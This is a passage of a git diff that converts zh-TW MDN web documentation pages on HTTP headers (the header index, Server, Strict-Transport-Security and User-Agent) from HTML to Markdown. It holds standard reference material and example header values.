proxy server. + +## Caching + +- {{HTTPHeader("Age")}} + - : The time in seconds the object has been in a proxy cache. +- {{HTTPHeader("Cache-Control")}} + - : Specifies directives for caching mechanisms in both, requests and responses. +- {{HTTPHeader("Expires")}} + - : The date/time after which the response is considered stale. +- {{HTTPHeader("Pragma")}} + - : Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the `Cache-Control` header is not yet present. +- {{HTTPHeader("Warning")}} + - : A general warning field containing information about possible problems. + +## Client hints + +- {{HTTPHeader("Accept-CH")}} + - : ... +- {{HTTPHeader("Content-DPR")}} + - : ... +- {{HTTPHeader("DPR")}} + - : ... +- {{HTTPHeader("Downlink")}} + - : ... +- {{HTTPHeader("Save-Data")}} + - : ... +- {{HTTPHeader("Viewport-Width")}} + - : ... +- {{HTTPHeader("Width")}} + - : ... + +## Conditionals + +- {{HTTPHeader("Last-Modified")}} + - : It is a validator, the last modification date of the resource, used to compare several versions of the same resource. It is less accurate than {{HTTPHeader("ETag")}}, but easier to calculate in some environments. Conditional requests using {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Unmodified-Since")}} use this value to change the behavior of the request. +- {{HTTPHeader("ETag")}} + - : It is a validator, a unique string identifying the version of the resource. Conditional requests using {{HTTPHeader("If-Match")}} and {{HTTPHeader("If-None-Match")}} use this value to change the behavior of the request. +- {{HTTPHeader("If-Match")}} + - : Makes the request conditional and applies the method only if the stored resource matches one of the given ETags. +- {{HTTPHeader("If-None-Match")}} + - : Makes the request conditional and applies the method only if the stored resource doesn't match any of the given ETags. This is used to update caches (for safe requests), or to prevent to upload a new resource when one is already existing. +- {{HTTPHeader("If-Modified-Since")}} + - : Makes the request conditional and expects the entity to be transmitted only if it has been modified after the given date. This is used to transmit data only when the cache is out of date. +- {{HTTPHeader("If-Unmodified-Since")}} + - : Makes the request conditional and expects the entity to be transmitted only if it has not been modified after the given date. This is used to ensure the coherence of a new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents. + +## Connection management + +- {{HTTPHeader("Connection")}} + - : Controls whether or not the network connection stays open after the current transaction finishes. +- {{HTTPHeader("Keep-Alive")}} + - : Controls how long a persistent connection should stay open. + +## Content negotiation + +- {{HTTPHeader("Accept")}} + - : Informs the server about the types of data that can be sent back. It is MIME-type. +- {{HTTPHeader("Accept-Charset")}} + - : Informs the server about which character set the client is able to understand. +- {{HTTPHeader("Accept-Encoding")}} + - : Informs the server about the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back. +- {{HTTPHeader("Accept-Language")}} + - : Informs the server about the language the server is expected to send back. This is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language in a drop down list). + +## Controls + +- {{HTTPHeader("Expect")}} + - : ... +- {{HTTPHeader("Max-Forwards")}} + - : ... + +## Cookies + +- {{HTTPHeader("Cookie")}} + - : Contains stored [HTTP cookies](/zh-TW/docs/Web/HTTP/Cookies) previously sent by the server with the {{HTTPHeader("Set-Cookie")}} header. +- {{HTTPHeader("Set-Cookie")}} + - : Send cookies from the server to the user agent. +- {{HTTPHeader("Cookie2")}} {{Deprecated_Inline}} + - : Used to contain an HTTP cookie, previously sent by the server with the {{HTTPHeader("Set-Cookie2")}} header, but has been obsoleted by the specification. Use {{HTTPHeader("Cookie")}} instead. +- {{HTTPHeader("Set-Cookie2")}} {{Deprecated_Inline}} + - : Used to send cookies from the server to the user agent, but has been obsoleted by the specification. Use {{HTTPHeader("Set-Cookie")}} instead. + +## CORS + +- {{HTTPHeader("Access-Control-Allow-Origin")}} + - : Indicates whether the response can be shared. +- {{HTTPHeader("Access-Control-Allow-Credentials")}} + - : Indicates whether or not the response to the request can be exposed when the credentials flag is true. +- {{HTTPHeader("Access-Control-Allow-Headers")}} + - : Used in response to a preflight request to indicate which HTTP headers can be used when making the actual request. +- {{HTTPHeader("Access-Control-Allow-Methods")}} + - : Specifies the method or methods allowed when accessing the resource in response to a preflight request. +- {{HTTPHeader("Access-Control-Expose-Headers")}} + - : Indicates which headers can be exposed as part of the response by listing their names. +- {{HTTPHeader("Access-Control-Max-Age")}} + - : Indicates how long the results of a preflight request can be cached. +- {{HTTPHeader("Access-Control-Request-Headers")}} + - : Used when issuing a preflight request to let the server know which HTTP headers will be used when the actual request is made. +- {{HTTPHeader("Access-Control-Request-Method")}} + - : Used when issuing a preflight request to let the server know which [HTTP method](/zh-TW/docs/Web/HTTP/Methods) will be used when the actual request is made. +- {{HTTPHeader("Origin")}} + - : Indicates where a fetch originates from. + +## Do Not Track + +- {{HTTPHeader("DNT")}} + - : Used for expressing the user's tracking preference. +- {{HTTPHeader("Tk")}} + - : Indicates the tracking status that applied to the corresponding request. + +## Downloads + +- {{HTTPHeader("Content-Disposition")}} + - : Is a response header if the resource transmitted should be displayed inline (default behavior when the header is not present), or it should be handled like a download and the browser should present a 'Save As' window. + +## Message body information + +- {{HTTPHeader("Content-Length")}} + - : indicates the size of the entity-body, in decimal number of octets, sent to the recipient. +- {{HTTPHeader("Content-Type")}} + - : Indicates the media type of the resource. +- {{HTTPHeader("Content-Encoding")}} + - : Used to specify the compression algorithm. +- {{HTTPHeader("Content-Language")}} + - : Describes the language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language. +- {{HTTPHeader("Content-Location")}} + - : Indicates an alternate location for the returned data. + +## Proxies + +- {{HTTPHeader("Forwarded")}} + - : Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request. +- {{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}} + - : Identifies the originating IP addresses of a client connecting to a web server through an HTTP proxy or a load balancer. +- {{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}} + - : Identifies the original host requested that a client used to connect to your proxy or load balancer. +- {{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}} + - : identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer. +- {{HTTPHeader("Via")}} + - : Added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers. + +## Redirects + +- {{HTTPHeader("Location")}} + - : Indicates the URL to redirect a page to. + +## Request context + +- {{HTTPHeader("From")}} + - : Contains an Internet email address for a human user who controls the requesting user agent. +- {{HTTPHeader("Host")}} + - : Specifies the domain name of the server (for virtual hosting), and (optionally) the TCP port number on which the server is listening. +- {{HTTPHeader("Referer")}} + - : The address of the previous web page from which a link to the currently requested page was followed. +- {{HTTPHeader("Referrer-Policy")}} + - : Governs which referrer information sent in the {{HTTPHeader("Referer")}} header should be included with requests made. +- {{HTTPHeader("User-Agent")}} + - : Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the [Firefox user agent string reference](/zh-TW/docs/Web/HTTP/Headers/User-Agent/Firefox). + +## Response context + +- {{HTTPHeader("Allow")}} + - : Lists the set of HTTP request methods support by a resource. +- {{HTTPHeader("Server")}} + - : Contains information about the software used by the origin server to handle the request. + +## Range requests + +- {{HTTPHeader("Accept-Ranges")}} + - : Indicates if the server supports range requests and if so, in which unit the range can be expressed. +- {{HTTPHeader("Range")}} + - : Indicates the part of a document that the server should return. +- {{HTTPHeader("If-Range")}} + - : Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource. +- {{HTTPHeader("Content-Range")}} + - : Indicates where in a full body message a partial message belongs. + +## Security + +- {{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}}) + - : Controls resources the user agent is allowed to load for a given page. +- {{HTTPHeader("Content-Security-Policy-Report-Only")}} + - : Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP `POST` request to the specified URI. +- {{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}}) + - : Associates a specific cryptographic public key with a certain web server to decrease the risk of {{Glossary("MITM")}} attacks with forged certificates. +- {{HTTPHeader("Public-Key-Pins-Report-Only")}} + - : Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated. +- {{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) + - : Force communication using HTTPS instead of HTTP. +- {{HTTPHeader("Upgrade-Insecure-Requests")}} + - : Sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the {{CSP("upgrade-insecure-requests")}} directive. +- {{HTTPHeader("X-Content-Type-Options")}} + - : Disables MIME sniffing and forces browser to use the type given in {{HTTPHeader("Content-Type")}}. +- {{HTTPHeader("X-Frame-Options")}} (XFO) + - : Indicates whether or not a browser should be allowed to render a page in a {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} or {{HTMLElement("object")}} +- {{HTTPHeader("X-XSS-Protection")}} + - : Enables cross-site scripting filtering. + +## Server-sent events + +- {{HTTPHeader("Ping-From")}} + - : ... +- {{HTTPHeader("Ping-To")}} + - : ... +- {{HTTPHeader("Last-Event-ID")}} + - : ... + +## Transfer coding + +- {{HTTPHeader("Transfer-Encoding")}} + - : Specifies the the form of encoding used to safely transfer the entity to the user. +- {{HTTPHeader("TE")}} + - : Specifies the transfer encodings the user agent is willing to accept. +- {{HTTPHeader("Trailer")}} + - : Allows the sender to include additional fields at the end of chunked message. + +## WebSockets + +- {{HTTPHeader("Sec-WebSocket-Key")}} + - : ... +- {{HTTPHeader("Sec-WebSocket-Extensions")}} + - : ... +- {{HTTPHeader("Sec-WebSocket-Accept")}} + - : ... +- {{HTTPHeader("Sec-WebSocket-Protocol")}} + - : ... +- {{HTTPHeader("Sec-WebSocket-Version")}} + - : ... + +## Other + +- {{HTTPHeader("Date")}} + - : Contains the date and time at which the message was originated. +- {{HTTPHeader("Large-Allocation")}} + - : Tells the browser that the page being loaded is going to want to perform a large allocation. +- {{HTTPHeader("Link")}} + - : ... +- {{HTTPHeader("Retry-After")}} + - : Indicates how long the user agent should wait before making a follow-up request. +- {{HTTPHeader("Upgrade")}} + - : This is a Proposed Internet Standard. To view a comprehensive list of all Official and Proposed Internet Standards with detailed information about each, [visit this Internet Standards reference](https://www.rfc-editor.org/standards), which is updated daily. The relevant RFC document for the [Upgrade header field standard is RFC 7230, section 6.7](https://tools.ietf.org/html/rfc7230#section-6.7). The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection. For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field. Niether party is required to accept the terms specified in the Upgrade header field. It can be used in both client and server headers. If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified. For details on the Connection header field [please see section 6.1 of the aforementioned RFC](https://tools.ietf.org/html/rfc7230#section-6.1). +- {{HTTPHeader("Vary")}} + - : Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server. +- {{HTTPHeader("X-DNS-Prefetch-Control")}} + - : Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth. +- {{HTTPHeader("X-Requested-With")}} + - : ... +- {{HTTPHeader("X-UA-Compatible")}} + - : ... + +## See also + +- [Wikipedia page on List of HTTP headers](https://en.wikipedia.org/wiki/List_of_HTTP_header_fields) +- [IANA registry](https://www.iana.org/assignments/message-headers/perm-headers.html) diff --git a/files/zh-tw/web/http/headers/server/index.html b/files/zh-tw/web/http/headers/server/index.html deleted file mode 100644 index ddd9caf86c9738..00000000000000 --- a/files/zh-tw/web/http/headers/server/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Server -slug: Web/HTTP/Headers/Server -translation_of: Web/HTTP/Headers/Server ---- -
{{HTTPSidebar}}
- -

Server 標頭描述處理請求的伺服器軟體資訊:也就是產生回應的伺服器資訊。

- -
-

請避免 Server 值的資訊過度冗長與詳盡,因為它們可能會洩漏實做細節、讓攻擊者容易找到已知安全漏洞並利用之。

-
- - - - - - - - - - - - - - - -
標頭類型{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}
- -

語法

- -
Server: <product>
-
- -

指令

- -
-
<product>
-
處理請求的軟體(或組件)名。語法通常與 {{HTTPHeader('User-Agent')}} 相似。
-
- -

How much detail to include is an interesting balance to strike; exposing the OS version is probably a bad idea, as mentioned in the earlier warning about overly-detailed values. However, exposed Apache versions helped browsers work around a bug those versions had with {{HTTPHeader('Content-Encoding')}} combined with {{HTTPHeader('Range')}}.

- -

示例

- -
Server: Apache/2.4.1 (Unix)
- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -

{{Compat("http.headers.Server")}}

- -

參見

- -
    -
  • {{HTTPHeader("Allow")}}
  • -
diff --git a/files/zh-tw/web/http/headers/server/index.md b/files/zh-tw/web/http/headers/server/index.md new file mode 100644 index 00000000000000..189f2cc389099a --- /dev/null +++ b/files/zh-tw/web/http/headers/server/index.md @@ -0,0 +1,45 @@ +--- +title: Server +slug: Web/HTTP/Headers/Server +translation_of: Web/HTTP/Headers/Server +--- +{{HTTPSidebar}} + +**`Server`** 標頭描述處理請求的伺服器軟體資訊:也就是產生回應的伺服器資訊。 + +> **警告:** 請避免 Server 值的資訊過度冗長與詳盡,因為它們可能會洩漏實做細節、讓攻擊者容易找到已知安全漏洞並利用之。 + +| 標頭類型 | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | 否 | + +## 語法 + +```plain +Server: +``` + +## 指令 + +- \ + - : 處理請求的軟體(或組件)名。語法通常與 {{HTTPHeader('User-Agent')}} 相似。 + +How much detail to include is an interesting balance to strike; exposing the OS version is probably a bad idea, as mentioned in the earlier warning about overly-detailed values. However, exposed Apache versions helped browsers work around a bug those versions had with {{HTTPHeader('Content-Encoding')}} combined with {{HTTPHeader('Range')}}. + +## 示例 + +```plain +Server: Apache/2.4.1 (Unix) +``` + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat("http.headers.Server")}} + +## 參見 + +- {{HTTPHeader("Allow")}} diff --git a/files/zh-tw/web/http/headers/strict-transport-security/index.html b/files/zh-tw/web/http/headers/strict-transport-security/index.html deleted file mode 100644 index b0d6e7faf50fca..00000000000000 --- a/files/zh-tw/web/http/headers/strict-transport-security/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Strict-Transport-Security -slug: Web/HTTP/Headers/Strict-Transport-Security -translation_of: Web/HTTP/Headers/Strict-Transport-Security ---- -

HTTP Strict-Transport-Security 回應標頭(簡稱為 {{Glossary("HSTS")}})告知瀏覽器應強制使用HTTPS以取代HTTP。

- - - - - - - - - - - - -
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
- -

Syntax

- -
Strict-Transport-Security: max-age=<expire-time>
-Strict-Transport-Security: max-age=<expire-time>; includeSubDomains
-Strict-Transport-Security: max-age=<expire-time>; preload
-
- -

Directives

- -
-
max-age=<expire-time>
-
以秒計算的時間,告知瀏覽器應該保持強制HTTPS存取的時間有多長。
-
includeSubDomains {{optional_inline}}
-
若該標頭被聲明,則瀏覽器應該將強制使用HTTPS的狀態套用至該域名的所有子域。
-
preload {{optional_inline}}
-
參考 Preloading Strict Transport Security。 此非規範的一部份。
-
- -

Description

- -

若是網站在被訪問時經由 HTTP 被重定向至 HTTPS,則訪客將在受到 HTTPS 保護前與該網站的非加密版本通信。例如若使用者輸入 http://www.foo.com/ 或是 foo.com 時,未加密的首次連線為中間人留下了機會。他們可以使用中間人攻擊將使用者定向至惡意網站而非使用者預期的網站的安全版本。

- -

HTTP Strict Transport Security 標頭明確告知瀏覽器在有效期間費不應該使用 HTTP 與該網站進行通訊,並且應該將所有的 HTTP 請求自動轉換成 HTTPS。

- -
Note: 瀏覽器將會忽略 HTTP 站點所回應的 Strict-Transport-Security 標頭,因為在 HTTP 連線下,該標頭可能是被惡意添加或是竄改的。瀏覽器僅會在使用 HTTPS 連線且該連線由合法的證書保護時回應該標頭的要求,唯有在這種情況下瀏覽器方能確定該站點有正確的 HTTPS 配置且標頭的確由該站點所要求。
- -

一個範例情境

- -

你連接到機場提供的免費 WIFI 並且登入你的網路銀行以察看可用餘額並支付帳單,不幸的是,你連上的無線網路實際上是黑客偽造的筆記型電腦。當你嘗試連上網路銀行時,實際上你連結的是黑客所偽造的網路銀行介面,現在,你的帳號密碼已經洩漏了。

- -

HSTS 可以處理這項問題,你只要曾經在安全的環境下連結到你的網路銀行,且該銀行啟用了 HSTS ,那你的瀏覽器將會知道僅使用 HTTPS 進行通訊,而不會接受黑客的重定向請求,HSTS 從中間人手上保護了你的安全。

- -

瀏覽器如何處理它

- -

當你首次經由 HTTPS 存取使用 HSTS 的網站時,你的瀏覽器將會記憶此一要求,在未來你存取該網站時將會自動將 HTTP 轉為 HTTPS。

- -

在 HSTS 標頭所指定的時間過期後,瀏覽器將不會自動將 HTTP 轉為 HTTPS。

- -

無論何時將Strict-Transport-Security標頭傳遞到瀏覽器,它都會更新該網站的到期時間,因此網站可以更新此一訊息並防止該聲明到期。 如果有必要停用嚴格傳輸安全性,則將max-age設置為0(使用 HTTPS 連接)將立即使Strict-Transport-Security標頭過期,從而允許使用 HTTP 訪問。

- -

Preloading Strict Transport Security

- -

Google maintains an HSTS preload service. By following the guidelines and successfully submitting your domain, browsers will never connect to your domain using an insecure connection. While the service is hosted by Google, all browsers have stated an intent to use (or actually started using) the preload list. However, it is not part of the HSTS specification and should not be treated as official.

- - - -

Examples

- -

All present and future subdomains will be HTTPS for a max-age of 1 year. This blocks access to pages or sub domains that can only be served over HTTP.

- -
Strict-Transport-Security: max-age=31536000; includeSubDomains
- -

Specifications

- -{{Specifications}} - -

Browser compatibility

- -

{{Compat("http.headers.Strict-Transport-Security")}}

- -

See also

- - diff --git a/files/zh-tw/web/http/headers/strict-transport-security/index.md b/files/zh-tw/web/http/headers/strict-transport-security/index.md new file mode 100644 index 00000000000000..2de74519fa24f7 --- /dev/null +++ b/files/zh-tw/web/http/headers/strict-transport-security/index.md @@ -0,0 +1,81 @@ +--- +title: Strict-Transport-Security +slug: Web/HTTP/Headers/Strict-Transport-Security +translation_of: Web/HTTP/Headers/Strict-Transport-Security +--- +**HTTP `Strict-Transport-Security`** 回應標頭(簡稱為 {{Glossary("HSTS")}})告知瀏覽器應強制使用 HTTPS 以取代 HTTP。 + +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | + +## Syntax + +```plain +Strict-Transport-Security: max-age= +Strict-Transport-Security: max-age=; includeSubDomains +Strict-Transport-Security: max-age=; preload +``` + +## Directives + +- `max-age=` + - : 以秒計算的時間,告知瀏覽器應該保持強制 HTTPS 存取的時間有多長。 +- `includeSubDomains` {{optional_inline}} + - : 若該標頭被聲明,則瀏覽器應該將強制使用 HTTPS 的狀態套用至該域名的所有子域。 +- `preload` {{optional_inline}} + - : 參考 [Preloading Strict Transport Security](#preloading_strict_transport_security)。 此非規範的一部份。 + +## Description + +若是網站在被訪問時經由 HTTP 被重定向至 HTTPS,則訪客將在受到 HTTPS 保護前與該網站的非加密版本通信。例如若使用者輸入 http\://www\.foo.com/ 或是 foo.com 時,未加密的首次連線為中間人留下了機會。他們可以使用中間人攻擊將使用者定向至惡意網站而非使用者預期的網站的安全版本。 + +HTTP Strict Transport Security 標頭明確告知瀏覽器在有效期間費不應該使用 HTTP 與該網站進行通訊,並且應該將所有的 HTTP 請求自動轉換成 HTTPS。 + +> **備註:** 瀏覽器將會忽略 HTTP 站點所回應的 `Strict-Transport-Security` 標頭,因為在 HTTP 連線下,該標頭可能是被惡意添加或是竄改的。瀏覽器僅會在使用 HTTPS 連線且該連線由合法的證書保護時回應該標頭的要求,唯有在這種情況下瀏覽器方能確定該站點有正確的 HTTPS 配置且標頭的確由該站點所要求。 + +### 一個範例情境 + +你連接到機場提供的免費 WIFI 並且登入你的網路銀行以察看可用餘額並支付帳單,不幸的是,你連上的無線網路實際上是黑客偽造的筆記型電腦。當你嘗試連上網路銀行時,實際上你連結的是黑客所偽造的網路銀行介面,現在,你的帳號密碼已經洩漏了。 + +HSTS 可以處理這項問題,你只要曾經在安全的環境下連結到你的網路銀行,且該銀行啟用了 HSTS ,那你的瀏覽器將會知道僅使用 HTTPS 進行通訊,而不會接受黑客的重定向請求,HSTS 從中間人手上保護了你的安全。 + +### 瀏覽器如何處理它 + +當你首次經由 HTTPS 存取使用 HSTS 的網站時,你的瀏覽器將會記憶此一要求,在未來你存取該網站時將會自動將 HTTP 轉為 HTTPS。 + +在 HSTS 標頭所指定的時間過期後,瀏覽器將不會自動將 HTTP 轉為 HTTPS。 + +無論何時將 Strict-Transport-Security 標頭傳遞到瀏覽器,它都會更新該網站的到期時間,因此網站可以更新此一訊息並防止該聲明到期。 如果有必要停用嚴格傳輸安全性,則將 max-age 設置為 0(使用 HTTPS 連接)將立即使 Strict-Transport-Security 標頭過期,從而允許使用 HTTP 訪問。 + +## Preloading Strict Transport Security + +Google maintains [an HSTS preload service](https://hstspreload.org/). By following the guidelines and successfully submitting your domain, browsers will never connect to your domain using an insecure connection. While the service is hosted by Google, all browsers have stated an intent to use (or actually started using) the preload list. However, it is not part of the HSTS specification and should not be treated as official. + +- Information regarding the HSTS preload list in Chrome : +- Consultation of the Firefox HSTS preload list : [nsSTSPreloadList.inc](https://hg.mozilla.org/mozilla-central/raw-file/tip/security/manager/ssl/nsSTSPreloadList.inc) + +## Examples + +All present and future subdomains will be HTTPS for a max-age of 1 year. This blocks access to pages or sub domains that can only be served over HTTP. + +```plain +Strict-Transport-Security: max-age=31536000; includeSubDomains +``` + +## Specifications + +{{Specifications}} + +## Browser compatibility + +{{Compat("http.headers.Strict-Transport-Security")}} + +## See also + +- Blog post: [HTTP Strict Transport Security has landed!](http://blog.sidstamm.com/2010/08/http-strict-transport-security-has.html) +- Blog post: [HTTP Strict Transport Security (force HTTPS)](http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/) +- OWASP Article: [HTTP Strict Transport Security](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.md) +- Wikipedia: [HTTP Strict Transport Security](https://zh.wikipedia.org/wiki/HTTP_Strict_Transport_Security) +- Browser test site: [HSTS and HPKP test](https://projects.dm.id.lv/Public-Key-Pins_test) +- [Features restricted to secure contexts](/zh-TW/docs/Web/Security/Secure_Contexts/features_restricted_to_secure_contexts) diff --git a/files/zh-tw/web/http/headers/user-agent/index.html b/files/zh-tw/web/http/headers/user-agent/index.html deleted file mode 100644 index cf7d6d58d4c1f0..00000000000000 --- a/files/zh-tw/web/http/headers/user-agent/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: User-Agent -slug: Web/HTTP/Headers/User-Agent -translation_of: Web/HTTP/Headers/User-Agent ---- -
{{HTTPSidebar}}
- -

User-Agent 請求標頭(request header)含有能令網路協議同級層(peer)識別發出該用戶代理請求的軟體類型或版本號、該軟體使用的作業系統、還有軟體開發者的字詞串。

- -
-

請讀讀透過用戶代理偵測瀏覽器以理解為什麼給不同的瀏覽器不同的頁面或服務是餿主意。

-
- - - - - - - - - - - - -
標頭類型{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}
- -

語法

- -
User-Agent: <product> / <product-version> <comment>
-
- -

瀏覽器常見格式:

- -
User-Agent: Mozilla/5.0 (<system-information>) <platform> (<platform-details>) <extensions>
- -

網路瀏覽器常用的格式:

- -
User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions>
-
- -

指令

- -
-
<product>
-
產品識別符:通常是名字或開發代號。
-
<product-version>
-
產品版本號。
-
<comment>
-
關於產品資訊的註解(如副產品訊息)。可能有、或沒有。
-
- -

Firefox UA 字串

- -

關於 Firefox 和基於 Gecko 的用戶代理字串,請參閱 Firefox 用戶代理字串參考。Firefox 用戶代理字串大略上分成以下四個部份:

- -

Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion

- -
    -
  1. Mozilla/5.0 is the general token that says the browser is Mozilla-compatible. For historical reasons, almost every browser today sends it.
  2. -
  3. platform describes the native platform the browser is running on (Windows, Mac, Linux, Android, etc.), and if it's a mobile phone. Firefox OS phones simply say Mobile — the web is the platform. Note that platform can consist of multiple "; "-separated tokens. See below for further details and examples.
  4. -
  5. rv:geckoversion indicates the release version of Gecko (such as "17.0"). In recent browsers, geckoversion is the same as firefoxversion.
  6. -
  7. Gecko/geckotrail indicates that the browser is based on Gecko. (On Desktop, geckotrail is always the fixed string 20100101.)
  8. -
  9. Firefox/firefoxversion indicates the browser is Firefox, and provides the version (such as "17.0").
  10. -
- -

示例

- -
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
-Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0
-
- -

Chrome 用戶代理字串

- -

Chrome(或基於 Chromium/blink 引擎的瀏覽器)的用戶代理字串看起來像 Firefox。出於相容性的理由,它還會加上「KHTML, like Gecko」與「Safari」的字串。

- -

字串

- -
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
- -

Opera 用戶代理字串

- -

因為 Opera 瀏覽器的引擎也是基於 blink 的,所以語法也看起來也會很像。不過,還會加上「 OPR/<version>」一詞。

- -

示例

- -
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41
- -

Opera 在使用 Presto 排版時的用戶代理字串

- -
Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00
-Opera/9.60 (Windows NT 6.0; U; en) Presto/2.1.1
- -

Safari 用戶代理字串

- -

此例的 safari 用戶代理字串是攜帶版,所以會出現「Mobile」一詞。

- -

示例

- -
Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
- -

Internet Explorer 用戶代理字串

- -

示例

- -
Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)
- -

網路爬蟲與機器人的用戶代理字串

- -

示例

- -
Googlebot/2.1 (+http://www.google.com/bot.html)
- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -

{{Compat("http.headers.User-Agent")}}

- -

參閱

- - diff --git a/files/zh-tw/web/http/headers/user-agent/index.md b/files/zh-tw/web/http/headers/user-agent/index.md new file mode 100644 index 00000000000000..d2cde256f246f9 --- /dev/null +++ b/files/zh-tw/web/http/headers/user-agent/index.md @@ -0,0 +1,127 @@ +--- +title: User-Agent +slug: Web/HTTP/Headers/User-Agent +translation_of: Web/HTTP/Headers/User-Agent +--- +{{HTTPSidebar}} + +User-Agent 請求標頭(request header)含有能令網路協議同級層(peer)識別發出該[用戶代理](/zh-TW/docs/Glossary/User_agent)請求的軟體類型或版本號、該軟體使用的作業系統、還有軟體開發者的字詞串。 + +> **備註:** 請讀讀[透過用戶代理偵測瀏覽器](/zh-TW/docs/Web/HTTP/Browser_detection_using_the_user_agent)以理解為什麼給不同的瀏覽器不同的頁面或服務是餿主意。 + +| 標頭類型 | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | 否 | + +## 語法 + +```plain +User-Agent: / +``` + +瀏覽器常見格式: + +```plain +User-Agent: Mozilla/5.0 () () +``` + +網路瀏覽器常用的格式: + +```plain +User-Agent: Mozilla/ () () +``` + +## 指令 + +- \ + - : 產品識別符:通常是名字或開發代號。 +- \ + - : 產品版本號。 +- \ + - : 關於產品資訊的註解(如副產品訊息)。可能有、或沒有。 + +## Firefox UA 字串 + +關於 Firefox 和基於 Gecko 的用戶代理字串,請參閱 [Firefox 用戶代理字串參考](/zh-TW/docs/Web/HTTP/Headers/User-Agent/Firefox)。Firefox 用戶代理字串大略上分成以下四個部份: + +**Mozilla/5.0 (_platform_; rv:_geckoversion_) Gecko/_geckotrail_ Firefox/_firefoxversion_** + +1. `Mozilla/5.0` is the general token that says the browser is Mozilla-compatible. For historical reasons, almost every browser today sends it. +2. **_platform_** describes the native platform the browser is running on (Windows, Mac, Linux, Android, etc.), and if it's a mobile phone. [Firefox OS](/zh-TW/docs/Glossary/Firefox_OS) phones simply say `Mobile` — the web is the platform. Note that **_platform_** can consist of multiple `"; "`-separated tokens. See below for further details and examples. +3. **rv:_geckoversion_** indicates the release version of Gecko (such as _"17.0"_). In recent browsers, **_geckoversion_** is the same as **_firefoxversion_**. +4. **_Gecko/geckotrail_** indicates that the browser is based on [Gecko](/zh-TW/docs/Mozilla/Gecko). (On Desktop, _**geckotrail**_ is always the fixed string `20100101`.) +5. _**Firefox/firefoxversion**_ indicates the browser is Firefox, and provides the version (such as "_17.0"_). + +### 示例 + +```plain +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0 +``` + +## Chrome 用戶代理字串 + +Chrome(或基於 Chromium/blink 引擎的瀏覽器)的用戶代理字串看起來像 Firefox。出於相容性的理由,它還會加上「KHTML, like Gecko」與「Safari」的字串。 + +### 字串 + +```plain +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 +``` + +## Opera 用戶代理字串 + +因為 Opera 瀏覽器的引擎也是基於 blink 的,所以語法也看起來也會很像。不過,還會加上「 OPR/\」一詞。 + +### 示例 + +```plain 